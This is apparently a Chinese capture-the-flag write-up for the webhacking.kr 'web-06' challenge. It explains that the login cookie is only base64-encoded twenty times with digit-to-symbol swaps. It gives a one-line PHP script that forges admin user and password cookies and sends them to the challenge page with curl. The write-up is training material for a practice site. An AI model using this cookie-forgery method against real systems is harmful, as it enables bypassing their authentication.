通过阅读源代码，发现只是简单地将cookie做了些字符替换，再用base64解码了20次。于是我们只需要反过来走一遍即可。大部分代码甚至可以直接用他。
<?php$val_id="admin";$val_pw="admin";for($i=0;$i<20;$i++){$val_id=base64_encode($val_id);$val_pw=base64_encode($val_pw);}$val_id=str_replace("1","!",$val_id);$val_id=str_replace("2","@",$val_id);$val_id=str_replace("3","$",$val_id);$val_id=str_replace("4","^",$val_id);$val_id=str_replace("5","&",$val_id);$val_id=str_replace("6","*",$val_id);$val_id=str_replace("7","(",$val_id);$val_id=str_replace("8",")",$val_id);$val_pw=str_replace("1","!",$val_pw);$val_pw=str_replace("2","@",$val_pw);$val_pw=str_replace("3","$",$val_pw);$val_pw=str_replace("4","^",$val_pw);$val_pw=str_replace("5","&",$val_pw);$val_pw=str_replace("6","*",$val_pw);$val_pw=str_replace("7","(",$val_pw);$val_pw=str_replace("8",")",$val_pw);$url="http://webhacking.kr/challenge/web/web-06/index.php";$ch=curl_init();$cookie="PHPSESSID=ol8a0r79n9j5ocopvd542sslq0; user=".$val_id."; password=".$val_pw;curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_COOKIE,$cookie);curl_exec($ch);curl_close($ch);?>